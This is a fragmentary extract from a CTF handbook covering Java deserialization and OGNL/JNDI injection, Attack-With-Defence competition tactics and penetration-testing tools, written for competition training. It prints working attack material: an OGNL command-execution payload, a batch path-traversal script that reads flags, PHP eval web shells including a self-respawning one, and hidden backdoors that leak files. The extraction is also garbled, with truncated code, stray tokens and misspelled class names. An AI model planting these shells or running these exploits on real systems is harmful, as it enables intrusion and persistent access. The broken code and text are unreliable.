5. Data characteristics
Serialized data headers are always the same, but the byte stream may be encoded
during transmission.You can try to decode the encoded data and check the prefix of
the data. The byte stream of normal serialized data has a prefix of ac ed 00 05, after
encoded by base64 algorithm, it will be rO0AB.
There are two different ways to exploit deserialization vulnerability coded with JDK
builtin Serializable.
The first is the exploit before generating the complete object which means to
achieve the attack effect during the process of deserialization of malicious serialized
data by JDK. This exploit is mostly based on the understanding of Java development
in the frequent calls to the function, to find the vulnerability trigger point. For
example, the classic rce gadget in the commons-collections 3.1 deserialization
exploit is an exploit that uses the readObject function as the entry point to run
arbitrary command directly in the dependency package.
The second is the exploitation after generating the complete object. For example,
if the identity token is deserialized, after the object deserialization is completed, the
function or attribute value is used in the business code.
There are many articles introduced how to exploit with the first way, so we will
omit the introduction here. For space reasons, only one example and one real-world
example of the second way of exploit are given here.
1. Serializable Vulnerability Exploit Form Examples
The following is a case study to familiarize yourself with the forms of exploitation of
deserialization vulnerabilities.
(1) ClientInfo class for authentication.
(2) The ClientInfoFilter class is an interceptor used to parse and convert cookies
transmitted by clients.
where the doFilter() function is as follows.
cookie.setValue(encoder.encodeToString(bytes));
}
else {
try {
cinfo = (ClientInfo) Tools.parse(bytes);
}
catch (Exception e) {
e.printStackTrace();
}
}
((HttpServletRequest)request).getSession().setAttribute
("cinfo", cinfo);
}
else {
Base64.Encoder encoder = Base64.getEncoder();
try {
ClientInfo cinfo = new ClientInfo("Anonymous", "normal", \\ DID)
((HttpServletRequest) request).getRequestedSessionId());
byte[] bytes = Tools.create(cinfo);
cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
cookie.setMaxAge(60*60*24);
((HttpServletResponse)response).addCookie(cookie);
((HttpServletRequest)request).getSession().setAttribute
("cinfo", cinfo);
}
catch (Exception e) {
e.printStackTrace();
}
}
chain.doFilter(request, response);
}
The above code roughly means to poll the cookie and find out which cookie has
the key value cinfo, otherwise it initializes.
Returns a cookie named cinfo after encoding, otherwise the ClientInfo object is
restored by a decoding operation.
(3) Tools object for serialization and deserialization.
Now there is an upload point, but the user identity is checked against ClientInfo
with the following code.
@RequestMapping("/uploadpic.form")
public String upload(MultipartFile file, HttpServletRequest request,
HttpServletResponse response) throws Exception {
ClientInfo cinfo = (ClientInfo)request.getSession().getAttribute
("cinfo");
if(!cinfo.getGroup().equals("webmanager"))
return "notaccess";
if(file == null)
return "uploadpic";
// Original file name
String originalFilename = ((DiskFileItem) ((CommonsMultipartFile)
file).getFileItem()).getName();
String realPath = request.getSession().getServletContext().
getRealPath("/Web-INF/resource/");
String path = realPath + originalFilename;
file.transferTo(new File(path));
request.getSession().setAttribute("newpicfile", path);
return "uploadpic";
}
If the user has webmanager privileges, he/she will be able to perform file
uploading operations , so we need to construct the ClientInfo property.
The process of forging Clientinfo is simple: create a new project, copy the Tools
and Clientinfo code into Tools.java and Clientinfo.java files, and then write and run
the Main.java main function to get the cookies with webmanager privileges.
Finally, browse the Upload.form page with forged cookie to upload a file to get
server permissions.
We can learn from this example of the deserialization vulnerability to exploit the
way and process. But for the actual operations, you need to construct your own EXP
compatible with the program structure. Third party libraries affectted by
deserialization vulnerabilities are the same, the only difference is between the
process of triggering the vulnerability.
10.2 Java Code Auditing 703
/**
* Only deserialize primitive or whitelisted classes
**/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws
IOException, ClassNotFoundException {
Class<? > primitiveType = PRIMITIVE_TYPES.get(desc.getName());
if (primitiveType ! = null) {
return primitiveType;
}
if (!isClassValid(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization
attempt", desc.getName());
}
return super.resolveClass(desc);
}
704 10 Code Auditing
The above code first calls desc.getName to get the name of the class to be
deserialized, and then uses the isClassValid function to perform a white list check,
code as follows.
try{ // https://jira.jboss.org/jira/browse/RF-8064
out.flush();
out.close();
}
10.2 Java Code Auditing 705
catch (IOException e) {
// Ignore it, stream would be already closed by user bean.
}
}
}
@Override
public Date getLastModified(ResourceContext resourceContext) {
UriData data = (UriData) restoreData(sourceContext);
FacesContext facesContext = FacesContext.getCurrentInstance();
The above code calls ValueExpression#getValue, which also triggers the execu-
tion of EL expressions.
More detailed analysis and EXP scripts can be found at https://xz.aliyun.com/t/
3264 for those interested. EL will be described and analyzed in detail later.
For the Java Web, there are two common types of vulnerabilities that can cause
command execution: deserialization and Expression Language Injection, which are
essentially remote command execution or remote code execution vulnerabilities.
However, these RCE vulnerabilities all share a common feature – they are the result
of poor filtering or abuse of features that allows an attacker to construct a
corresponding expression to trigger a command or code execution vulnerability.
706 10 Code Auditing
The most famous one among these vulnerabilities is the OGNL vulnerabilities in
Struts2.
Expression injection vulnerabilities are caused by poor or improper usage of
application filtering of external inputs, which allows an attacker to control the
parameters used the EL’s (Expression Language) interpreter, which ultimately
results in expression injection.
EL’s function is to allow developers to obtain objects and call Java methods in the
context, so if an expression injection vulnerability exists, an attacker can exploit the
features of the expression language itself to execute arbitrary code, resulting in
command execution. In the case of the Java Web framework, the framework is
usually one expression for one framework, which means that an expression injection
vulnerability in the framework will “kill” all Web applications based on that
framework. That’s why Struts2 has been a “bloody hell" every time an OGNL
RCE vulnerability has been discovered.
In addition to expressions “bound” to frameworks (e.g., Struts2 vs. OGNL), there
are many other cases of expression injection, such as Groovy code injection, SSTI
(server-side template injection), etc., where the vulnerability is due to an attacker
having control over the data entering the expression parser.
There are a variety of expression languages in Java that perform different functions
in their respective domains, and here are two that are closely related to popular java
web framework. At the same time, these two expression languages cause the greatest
harm when expression injection occurs.
Struts2-OGNL: The “King of Vulnerabilities”, due to Struts2’s horrific coverage,
it has a huge impact every time there is a new expression injection vulnerability. It is
also the most thoroughly understood expression language by both attackers and
defenders.
Spring-SPEL: SPEL, or Spring EL, is an EL expression proprietary to the Spring
Framework. Compared to other expression languages, its use is relatively narrow,
but it is still worth studying in view of the wide use of the Spring Framework.
In both OGNL and SPEL, the key to triggering a vulnerability is the parsing part
of the expression.
For example, the following is an example of using OGNL's code to execute a
system command.
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
// Execute command
Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime(). \\
exec('open /Applications/Calculator.app')", context);
System.out.println(obj);
}
}
Running the sample code will launch the calculator application (since we are
using MacOS, the system commands are executed differently than on Windows).
The three elements of expression parsing are: the expression, the context (context in
the example above), and getValue( ) to make the execution to begin. These are also
the three main factors that are essential for an expression injection vulnerability.
Controllable expression, way to bypass the filtering mechanism in the context and a
statement to execute the expression itself, all three of these strung together to become
an Expression Injection Gadget.
“Understand how and why.” is a very important quality for people focuses on the
domain of information security. The following is a brief explanation of the compo-
sition of the expression parsing structure using OGNL as an example, which is very
helpful for understanding expression injection vulnerabilities.
1. root and context
The two most important parts in OGNL are the root object and the context.
root: It can be considered that root is a Java object. All the operations specified by the
expression are performed to the root object.
context: The context where the object is running. context is a MAP structure that
uses key-value pairs to describe the properties and values of the object.
The top-level object that handles OGNL is a Map object, often called a context map
or a context, which contains the root object. The attributes of the root object can be
referenced directly in the expression, and if you need to refer to another object, then
you need to use the “#” tag.
Struts2 turns the OGNL context into an ActionContext and turn both root and
other object (including application, session, request context) into a ValueStack. See
Fig. 10.50.
2. ActionContext
ActionContext is the context of the action, which is essentially a Map object that can
be considered as a small database that belongs to the action, in which the data used in
the entire lifecycle of action (thread) is stored. ActionContext in ognl acts as context,
see Fig. 10.51.
708 10 Code Auditing
MultiPartRequestWrapper$MultiPartRequestWrapper:86 # Handles
requests requests
JakartaMultiPartRequest$parse:67 # Process upload requests
and catch upload exceptions
JakartaMultiPartRequest$processUpload:91 # request parsing
JakartaMultiPartRequest$parseRequest:147 # Create a request
message parser to parse the upload request
JakartaMultiPartRequest$createRequestContext # initialize
the Message Parser
FileUploadBase$parseRequest:334 # Process multipart/
form-data compliant stream data.
FileUploadBase$FileItemIteratorImpl:945 # Throw a ContentType
error exception
# Add the ContentType to the error message.
JakartaMultiPartRequest$parse:68 # Handling file upload
exceptions
AbstractMultiPartRequest$buildErrorMessage:102 # Build Error
Messages
LocalizedMessage$LocalizedMessage:35 # Construct function
assignment
FileUploadInterceptor$intercept:264 # Enter the file upload
process, and handle the file upload error message.
LocalizedTextUtil$findText:391 # Find localized text messages
LocalizedTextUtil$findText:573 # Get the default message
# The following is the extraction and execution of an ognl expression.
LocalizedTextUtil$getDefaultMessage:729
TextParseUtil$translateVariables:44
TextParseUtil$translateVariables:122
TextParseUtil$translateVariables:166
TextParser$evaluate:11
OgnlTextParser$evaluate:10
10.2 Java Code Auditing 711
Follow up is LocalizedTextUtil.findText.
According to Sect. 10.2.7.4, this takes the value stack as an argument to the
findText( ) method. The code for this method is very long, so we will only show you
the key parts.
GetDefaultMessageReturnArg result;
if (indexedTextName == null) {
result = getDefaultMessage(aTextName, locale, valueStack, args,
defaultMessage);
}
else {
result = getDefaultMessage(aTextName, locale, valueStack, args,
null);
712 10 Code Auditing
Here the getDefaultMessage( ) method is called. Within that method, you can find
a method to format the message named buildMessageFormat( ). And The message is
generated by TextParseUtil.translateVariable.
if (message ! = null) {
MessageFormat mf = buildMessageFormat(TextParseUtil.
translateVariables(message, \\\)).
valueStack), locale);
String msg = formatWithNullDetection(mf, args);
result = new GetDefaultMessageReturnArg(msg, found);
}
if (multiWrapper.hasErrors()) {
for (LocalizedMessage error : multiWrapper.getErrors()) {
if (validation ! = null) {
validation.addActionError(LocalizedTextUtil.findText(error.
getClazz()), \\ DID.
error.getTextKey(), ActionContext.getContext().getLocale(), \\
DIDN'T.
error.getDefaultMessage(), error.getArgs()));
}
}
}
try {
setLocale(request);
processUpload(request, saveDir);
}
catch (FileUploadException e) {
LOG.warn("Request exceeded size limit!", e);
LocalizedMessage errorMessage;
if(e instanceof FileUploadBase.SizeLimitExceededException) {
FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.
SizeLimitExceededException) e;
errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize
(), ex.getActualSize()});
}
You can see that the error message is generated by buildErrorMessage. Its
implementation is as following.
From the above code, if the contentType is empty or does not begin with
multipart, an error is thrown and the contentType is added to the error message,
and this is where we can control. If a request is constructed with a contentType that is
an OGNL expression, it can cause OGNL expression injection.
The exploit methods of Java Web are different from other common exploit methods.
The common exploit methods include: triggering vulnerability via HTTP request
10.2 Java Code Auditing 715
(including expression injection), remote class loading exploit (the common exploit
method is JNDI). This section focuses on the Weblogic wls9-async component RCE
(CVE-2019-2725), which exposed in April 2019, as an example.
import javax.naming;
import javax.initial.InitialContext;
For testing purposes, you can manually change the address of the URI to lookup.
(2) Establishing attacker-controlled directory service
A directory service that an attacker can control needs to bind its own payload’s
address to the directory service while ensuring that the directory service has access to
the payload’s address.
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.nursing.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
10.2 Java Code Auditing 717
This places payload on port 9999 of the attacker’s server, while the directory
service listens on port 2000, and binds payload to the Exploit class (located on the
directory service).
(3) Demo Effects
First, you need to prepare the payload.
Deploy the payload to the attacker’s own server and make sure it is accessible,
here using the “php –S” command to launch the HTTP service, see Fig. 10.54.
Connecting to directory services and vulnerable services under the attacker's control
will execute the payload, and execute the payload attacker has set, which in this case
is to launch a calculator, see Fig. 10.55.
(5) Demo in a real environment
In a real scenario, many vulnerabilities are exploited by way of JDNI, and the following is
an example of how this can be applied in practice, using the Weblogic RCE (CVE-2019-
2725), which was released in 2019, as an example. If you are interested in the vulnera-
bilities, we recommend you to read this article by scanning the QR code below.
10.2 Java Code Auditing 719
In addition to using a deserialization exploit chain, this vulnerability can also use
the exploit chain of the CVE-2018-3191 vulnerability to pass a directory service
address, which can cause JDNI injection and execute arbitrary command.
After setting up the attacker’s directory server (same as the demo above), open the
directory server listening port, see Fig. 10.56.
Generate serialized data using EXP with the following command.
After converting the serialized data into the ByteArray required for the vulnera-
bility(here choose UnitOfWorkChangeSet). Send the request with generated pay-
load, and the JDNI injection will be triggered, and pop up a calculator, see
Fig. 10.57.
(6) Attack limits
Oracle has set com.sun.jndi.rmi.object.trustURLCodebase¼false since jdk8u121 to
restrict the RMI exploit from loading Class com.sun.jndi.rmi.registry.
RegistryContext#decodeObject from a remote location.
Oracle sets com.sun.jndi.ldap.object.trustURLCodebase¼false since jdk8u191 to
restrict using LDAP to load Classes from remote locations.
For versions after jdk8u191, JDNI injection is very difficult to exploit. But there
are still ways with limitation to bypass it. When the application is started on Tomcat
8, it can be bypassed by the javax.el package. However Tomcat 7 does not have a
720 10 Code Auditing
javax.el package by default. I won't go into details here due to space limitations, but
for more detailed information, you can refer to the following documents.
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
Next, to get shiro up and running, you need to modify the pom.xml file by adding
the following code.
10.2 Java Code Auditing 721
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>.
<!-- here you need to set jstl to 1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
Then compile the project as a WAR package with MVN, copy the samples-
web-1.2.4.war generated in the target directory to the webapps directory in the
Tomcat, and rename the war package to shiro.war. Start up Tomcat and
browse http://localhost:8080/shiro you can see that the shiro demo is up and running
as shown in Fig. 10.58.
A good way to initially detect vulnerabilities is to use the ysoserial URLDNS
Gadget in conjunction with dnslog (here using ceye).
First, generate the URL DNS payload using ysoserial.
AES encryption is then applied to Payload using Shiro's built-in default key,
which is as follows.
import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
if __name__ == '__main__':
poc('http://localhost:8080/shiro', 'address of dns server')
Run exploit and you will see the request record in the DNS resolution record, see
Figs. 10.59 and 10.60.
This section summarizes the use of JDNI injection and ysoserial, which in the real
world are often combined into complete exploits through various Gadgets. The best
way to exploit an vulnerability is not to try it with off-the-shelf tools, but to
understand how it works and then build it. Only by “knowing what you know and
knowing why” will you not limit yourself to a small pattern.
10.3 Summary 723
10.3 Summary
As time goes by, in addition to websites built in ASP, there are now also websites
built in PHP, Java, Go, Python and other languages. Due to space limitations, this
chapter only introduces the common PHP and Java code auditing.
Unlike code auditing in the real world, the purpose of code auditing challenges in
the CTF competition is mostly to find vulnerabilities such as IDOR, SQL injection
and even RCE. Only with familiarity with the language, can the participants find the
vulnerabilities in the complex code and solve the problem in a short time.
At the same time, having a good-looking IDE environment often makes all the
difference in the code audit process.
724 10 Code Auditing
In this chapter, we will introduce the most common format of CTF finals, namely the
Attack With Defence (AWD). In AWD competitions there are usually multiple
challenges, each challenge corresponds to a gamebox (server), the gamebox of
each competition team has the same vulnerability environment, the players of each
team obtain the flags in the gamebox of other teams through the vulnerability to
score, and avoid being attacked by patching the vulnerability in their own gamebox.
The flags in the gameboxes will be updated within a specified time (a tick). Mean-
while, the organizer will check each team’s service in each round, and deduct points
for abnormal service.
The AWD competition examines the participants’ speed in finding and exploiting
vulnerabilities, their ability to analyze network traffic and patch vulnerabilities, and
their ability to automate the exploit process.
Since there are many AWD tricks, this chapter focuses on the Web challenges
only, and is divided into four parts: competition preparation, competition tricks,
traffic analysis, and vulnerability patching. In order not to affect the balance of the
competition, this chapter is mainly aimed at readers who have little or no experience
in AWD competitions to share some basic competition experience.
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 725
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_11
726 11 AWD
scanning tools to scan the current Class C network a few minutes before the start of
the competition to prepare for automation scripts.
2. Accumulation of exploits
Because the AWD competition web challenges tend to be close to reality, they are
usually well-formed CMS vulnerabilities or even CVE vulnerabilities. For example,
a web challenge can be a Drupal website, which has a RCE vulnerability,
CVE-2018-7600, besides a obvious weak password, and participants may not be
allowed to access the Internet during some AWD competitions, so if you have an
exploit script that you normally prepare, you will get a head start.
3. The importance of backup
As soon as the game begins, all participants should back up the source code of their
web topics, but they often leave out another important backup, the database backup.
import requests
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
def post_answer(flag):
url = 'http://172.16.4.1/Common/submitAnswer'
headers = {
'Content-Type': r'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/
20100101 Firefox/45.0',
'Referer': 'http://172.16.4.102/answer/index'
}
post_data = {
'answer': flag,
'token':'d16ba10b829f4cfae33de641b071ea8a'
}
11.1 Preparation for the Competition 727
Because AWD matches often have a short time for a tick and numerous teams, it
is necessary to use scripts for automatic submission.
(2) Vulnerability batch exploitation script
During an AWD competition, there will often be more than a dozen or even dozens
of teams, because the manual attack is too slow, so the automated batch exploitation
script is important. Here we take a Metinfo arbitrary file read vulnerability as an
example, automatic batch exploitation attack scripts in fact only need the following
few lines of Python code.
while 1:
for i in range(105,106):
try:
catflag = "http://192.168.1."+str(i)+"/include/thumb.php?
dir=...././/ht./tp
...././/...././/...././/...././/...././/...././/....
/.//flag"
checkflag = requests.get(url=catflag)
if checkflag.status_code==200:
print "**********************"
print checkflag.text
print str(i)
print "+++++++++++++++++++++"
except Exception,e:
print str(i)+":"+"No"
features can be analyzed and other teams can set filtering rules in their traffic
analyzing scripts.
How to find such small files is critical. Here’s a command that will quickly find
the file with the smallest number of lines.
<?php
$str="sesa";
$aa=str_shuffle($str).' rt';
@$aa($_GET[1]);
?>
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = "link.html.php";
$shell = "<?php eval($_POST["14cb53571d2075b69b4ce89207f9e11b"]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
unlink('xxx.php');
}
usleep(50);
}
?>
② Create a folder with the same name as the one generated by the persistent web
shell. For example, if the name of the persistent web shell is “1.php”, then use the
command “mkdir 1.php”.
The AWD competitions require participants to capture the current flag in every tick,
and it becomes a priority to consistently and undetected capture other teams’ flags.
730 11 AWD
Header(‘flag:’.file_get_contents(‘/tmp/flag’));
Then visit any page of the service to receive the flag from the header, as shown in
Fig. 11.2.
2. Submit via gamebox
Sometimes, gamebox has access to the API interface for submitting flags, so it is
possible to write a crontab backdoor to achieve covert submissions, for example.
3. Include files
A malicious PHP file may be easily discovered by an adversary, so it is better to hide
the backdoor in a JavaScript file and include the JavaScript file. For example, if you
add an en.js file, the content of which is a backdoor, you can directly include the
JavaScript file in a PHP file to activate it.
11.2 AWD Tricks 731
5. Copy function
The essence of the AWD competition is to get the flag, so if writing web shells is too
obvious, file operations can be used as well. For example, you can add the following
statement to index.php.
copy('/flag','/var/www/html/.1.txt);
Then accessing index.php will generate .1.txt as a flag file in the current directory.
Of course, to avoid being accessed by other teams, you can add the following
statement to index.php or any other file.
if(isset($_GET[‘url’])) {
unlink(.1.txt);
}
In this way, the .1.txt can be deleted with a GET request immediately after the
content of the flag is read to avoid being found and used by other participants.
6. Abnormal backdoors
In AWD competitions, it is also important to maintain the privileges of the target
machine.
<?php
session_start();
extract($_GET);
if(preg_match('/[0-9]/',$_SESSION['PHPSESSID']))
exit;
if(preg_match('//|./',$_SESSION['PHPSESSID']))
exit;
include(ini_get("session.save_path")."/sess_".$_SESSION
['PHPSESSID']);
?>
This code snippet may not seem dangerous at first glance, but a closer look
reveals that the session file can actually be controlled, which leads to an RCE.
7. Do not use the same web shell password for multiple teams
In AWD competitions, it often happens that when team A attacks all participants in a
batch, it does not randomize the web shell file names and passwords, resulting in
other teams (such as D) accessing to A’s web shells, which allows D to use A’s web
shells to attack other teams, and even set up their own web shells to remove A’s web
shell.
In order to avoid this situation, we provide here a more general solution.
url = 'http://10.10.10.'+str(i)+"/link.html.php"
myshellpath = "testawdveneno@Nu1L"+str(i)
11.2 AWD Tricks 733
passis = md5(myshellpath)
data = {passis:'echo file_get_contents("/home/flag");'}
a=requests.post(url=url,data=data)
As you can see, after gaining access to a team, you can prevent your own web
shell from being reused by others by turning the shell password into an irreversible
MD5 value.
During the AWD race, you will definitely encounter leading and trailing situations.
Here I briefly share some of my AWD race experience in the hope that it will help
readers.
1. The importance of NPC
Most competitions have a NPC team, whose IP is usually the last one, used to allow
participants to test the vulnerabilities found, thus preventing the traffic from being
caught by other participants at the beginning. The reason why NPC is important is
that in some competitions the score of flags for NPC team is the same as that of a
normal team, and the organizer rarely cares whether or not the NPC services are
working, so if a participant gets the web shell of the NPC, he can fix the vulnera-
bilities, so he can exclusively enjoy the flag score of the NPC. The second reason is
that after getting the “first blood”, if one directly attacked his opponent, his payload
may be immediately captured, and thus miss the advantage.
2. Understand the rules of the competition and improve your advantage
The leading here is for a slight lead. In AWD competitions, the prevailing scoring
method is the zero-sum model, i.e., attack scores and service exception scores are
sharing equally. For example, if team A is only slightly ahead of team B, and team A
has team B’s web shell, then in addition to the normal attack flag score, the service
exception score should also be considered.
3. How to catch up
The mentality of the participants in AWD competitions is also important, so when in
a trailing position, one should not give up. There have been many strong teams in the
past competitions that started behind and later rebounded to become the top. Second,
because web challenges are easier to capture traffic, we can promptly analyze the
traffic to find the payload of other teams, so as to fight back.
Also, as mentioned before, if you find a web shell on your own server, in addition
to removing it immediately, you should also keep in mind that the web shell is
generally set by the attack team’s automated scripts, which means that other victim
teams may also have this web shell on their server, the path and password may often
be the same, so you can further exploit this.
734 11 AWD
• Set up some keywords WAF, such as load_file, while ensuring that the service
works if WAF is allowed by organizers.
• For some CMS, find the original files online according to the version number or
other features and compare them with the files in the gamebox.
• Pay attention to weak password users, which is often important.
• Rely on experience. Use the die() function directly in places where you feel the
function is dangerous.
11.5 Summary
In fact, this chapter is mainly aimed at readers who have not participated in AWD
competitions or have less experience in AWD competitions, so it is relatively basic.
Finally, I share two thoughts about AWD competitions.
1. Generic defense measures
Not only does generic defense measures cause headaches for the organizers, but it is
also unfair to other participants. Sometimes the vulnerability that is found with great
effort may not be exploited because of these defense measures, and these defense
measures almost cost no effort, so many teams choose to use generic defense
measures at the beginning of the competition. Of course, the current check mecha-
nism of the organizers is constantly improving, and I believe that one day there will
be a very enjoyable AWD competition environment.
2. Contingencies
Unexpected situations arise in some competitions, mostly due to participants testing
the security of the organizer’s platform, resulting in unexpected situations, such as
participants being able to log in to other participants’ accounts or leak of challenges.
Here, we suggest that the organizer must test the security of its own platform in
advance, so that the competition can ensure fairness and impartiality; at the same
time, we hope participants will take the initiative to report to the organizer when they
find bugs in competition platform, instead of exploiting these bugs to ruin the
competition.
Chapter 12
Virtual Target Penetration Test
In the CTF offline competition, penetration test against a virtual target appears more
and more frequently and is becoming more and more diversified. Compared to the
CTF online competition, the introduction of penetration challenges is as simple as
the web challenges, which does not require the participants to know the underlying
system principles and have profound programming ability, but only requires the
exploits of existing vulnerabilities, skilled use of various tools and a brain with
strong learning ability. This chapter will start from how to build a smooth penetra-
tion environment, step by step explain common vulnerabilities and exploits, the
basics of Windows security, combined with cases in the CTF competition, so that the
reader has a clear understanding of the penetration test.
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 737
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_12
738 12 Virtual Target Penetration Test
highly extensible, allowing users to develop and customize their own exploit scripts
with low barriers to entry and increasing penetration efficiency.
Metasploit consists of several modules, the names of which are listed below:
• Auxiliary: It is responsible for performing scanning, sniffing, fingerprinting,
information gathering and other related functions to assist in infiltration.
• Exploits: Enables an attacker to exploit a security vulnerability in a system,
application, or service, including code designed and developed by attackers or
security researchers to compromise the security of a system by triggering the
vulnerability.
• Payloads: Code that allows an attacker to execute arbitrary commands or execute
specific code to achieve actual attack functionality after the target system has been
hacked.
• Post-Exp (post-penetration module): Used to conduct a series of post-penetration
attacks after gaining control of a target, such as obtaining sensitive information,
elevating privileges, and backdoor persistence.
• Encoders: Used to circumvent antivirus software, firewalls, and other protections.
There are several ways to install Metasploit: system image installation, GitHub
source installation, and official script installation. These three installation methods
have their own advantages and disadvantages, the advantage of the system image
installation is the system is ready to be used without having to configure their own
12.1 Creating a Penetration Test Environment 739
dependencies installed, but there are not updated in a timely manner, so the vulner-
ability exploitation is not the latest. Source code installation using the Dev branch
code, vulnerability exploitation is kept up to date, the disadvantage is that you need
to manually install the dependencies and database which is pretty difficult, so it’s not
recommended for newcomers to use. However, Metasploit’s official installation
script just made it to compensate for the shortcomings of the previous two installa-
tion methods, so we recommend using the official source script for installation on
Ubuntu.
First, open a terminal in Ubuntu and type the following command.
Information gathering is the first and most important step in penetration testing,
and the one that runs through the entire penetration process, with the primary goal of
discovering as much information as possible about the target. Of course, the more
information you collect, the higher your chances of penetration success. The fol-
lowing section describes how to perform a port scan using the auxiliary module.
A port scan is performed using the auxiliary module, and the result of the scan
allows us to know which ports are listened to on the target, and then determine the
service based on the corresponding port before we can proceed to the next stage of
exploitation.
First use the search command to search for available port scanning modules, see
Fig. 12.4 for a list of available scanners.
Take TCP scan module as an example. Use the use command to select the
module, and the show options command to view the parameters that need to be
set, see Fig. 12.5.
The set command is used to fill in the values of the parameters, the unset
command is used to delete the value of a parameter. The setg and unsetg commands
are used to set or unset a global parameter values. When you need to set a value for
12.1 Creating a Penetration Test Environment 741
users, for various reasons, users often choose not to update in a timely manner,
which can lead to the target is still affected by the 0day vulnerabilities that are
already a Nday vulnerability after a long time. In Sect. 12.3, we will combine several
common and effective system vulnerabilities to explain and analyze with the help of
Metasploit, so that everyone has a deeper understanding of this intranet
penetration tool.
12.1 Creating a Penetration Test Environment 743
Nmap (Network Mapper) is a powerful port scanning software with a clear and
simple interface. It can easily scan the corresponding port services and deduce the
corresponding operating system and version of the target to help penetration testers
to quickly assess the security of network systems.
Nmap’s installation is not complicated, and it supports cross-platform and mul-
tiple operation systems. We illustrated how to install the nmap in the following part,
see Fig. 12.9.
The Nmap installed in the above way is often not the latest version. If you want to
get the latest version, you can compile it from source at http://nmap.org/book/inst-
source.html.
After successful installation, enter the command “nmap” in the terminal, which
will output a brief user manual for the nmap, see Fig. 12.10.
The basic use of Nmap is as follows. Please notice that some of its parameters can
be used together.
(1) Basic scan command: nmap 192.168.1.1
By default, Nmap uses TCP SYN to scan the top 1000 ports and returns the results
(open, closed, filtered) to the user, as shown in Fig. 12.11.
(2) Host discovery command: nmap -sP -n 192.168.1.2/24 -T5 --open
Nmap will perform a ping-scan (parameter “-sP”) as fast as possible (parameter
“-T5”) and won’t try to parse the ip address back to domain names (parameter “-n”),
returning all alive hosts (with the parameter “--open”) to the user, see Fig. 12.12.
(3) Asset scan command: nmap -sS -A --version-all 192.168.1.2/24 -T4 --open
Nmap uses TCP SYN scanning (parameter “-sS”), using slightly higher speed
(parameter “-T4”), to scan for open services, system information (parameter “-A”),
and detailed information about that service (identified precisely what the service is
when the parameter “--version-all” is set) are returned alive hosts (with the parameter
“--open”) to the user. Note that this can often take a lot of time.
(4) Port scan command: nmap -sT -p80,443,8080 192.168.1.2/24 --open
Nmap uses a ping scan (parameter “-sT”) first, then scan the open ports (parameter
“--open”) on the specified port (parameter “-p”), see Fig. 12.13.
12.1 Creating a Penetration Test Environment 745
Proxychains is a Linux proxy tool that enables any application to connect to the
network through a proxy. It can proxy both TCP and DNS traffics through proxies. It
supports proxy servers developed with HTTP, Socks4, Socks5 protocol, and support
to use multiple proxies at the same time. Note that Proxychains only forwards TCP
connections from specified applications to proxies, instead of all applications, Here
we recommend you to use proxychains-ng by entering the following command in the
terminal.
Then add the proxy servers to the list in the configuration file, enter the following
command in the terminal and modify it.
sudo vi /etc/proxychains.conf
proxychains4 firefox
If you want to use proxychains4 to proxy Metasploit traffics directly, you can
modify or add the local whitelist “localnet 127.0.0.0/255.0.0.0” to your configura-
tion file, and then restart metasploit with “ proxychains4 msfconsole” command.
Note that some modules in Metasploit do not use the proxy server set in this way
but need to specify the proxy by setting the proxies parameter.
Hydra is an open source password blasting tool developed by THC that is powerful
and support to crack password within the following protocols.
rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5
ssh sshkey teamspeak
telnet[s] vmauthd vnc xmpp
Execution of the “hydra” command will output the contents of the help parameter
by default, see Fig. 12.18.
Readers can try to find how to use this tool on their own.
built in. At present, there are two versions on its website (https://pentestbox.org/zh/),
one without Metasploit and one with Metasploit, see Fig. 12.19, which can be
downloaded and installed directly.
Proxifier is a very powerful Socks5 client that allows applications that do not support
proxies to access the network through a proxy server forcibly, it also supporting
multiple operating system platforms and multiple proxy protocols. The GUI is
shown in Fig. 12.20, and the usage method will not be repeated here.
750 12 Virtual Target Penetration Test
To simulate the intranet environment, the NICs of both Windows server 2012
virtual machines are set to VMnet2, and a new NAT-mode virtual NIC is added to
one of the hosts to enable it to interact with the external network. Figure 12.25 shows
the two NIC settings of one of the Windows hosts.
The other is set with a single network card named VMnet, as shown in Fig. 12.26.
Then turn off the firewalls for both Windows machines.
At this point, the basic environment setup is complete, and the above environment
will be used later for experiments.
means forwarding ports as wishes. Only through port forwarding can make hosts that
are not directly accessible after multi-level routing accessible.
There are many kinds of tools that can perform port forwarding, such as SSH,
Lcx, Netsh, Socat, Earthworm, Frp, Ngrok, Termite, Venom, etc. Among them,
Earthworm, Termite, Venom are the same kind of tools, which are characterized by
managing multiple hosts in a nodal way and supporting cross-platform, which can be
used to build a proxy chain as quick as possible. If used skillfully in the penetration,
they can be a great time saver. However, for some reason, their authors have
removed both tools from the shelves and cannot download them from official
sources.
Here we focus on Venom and SSH.
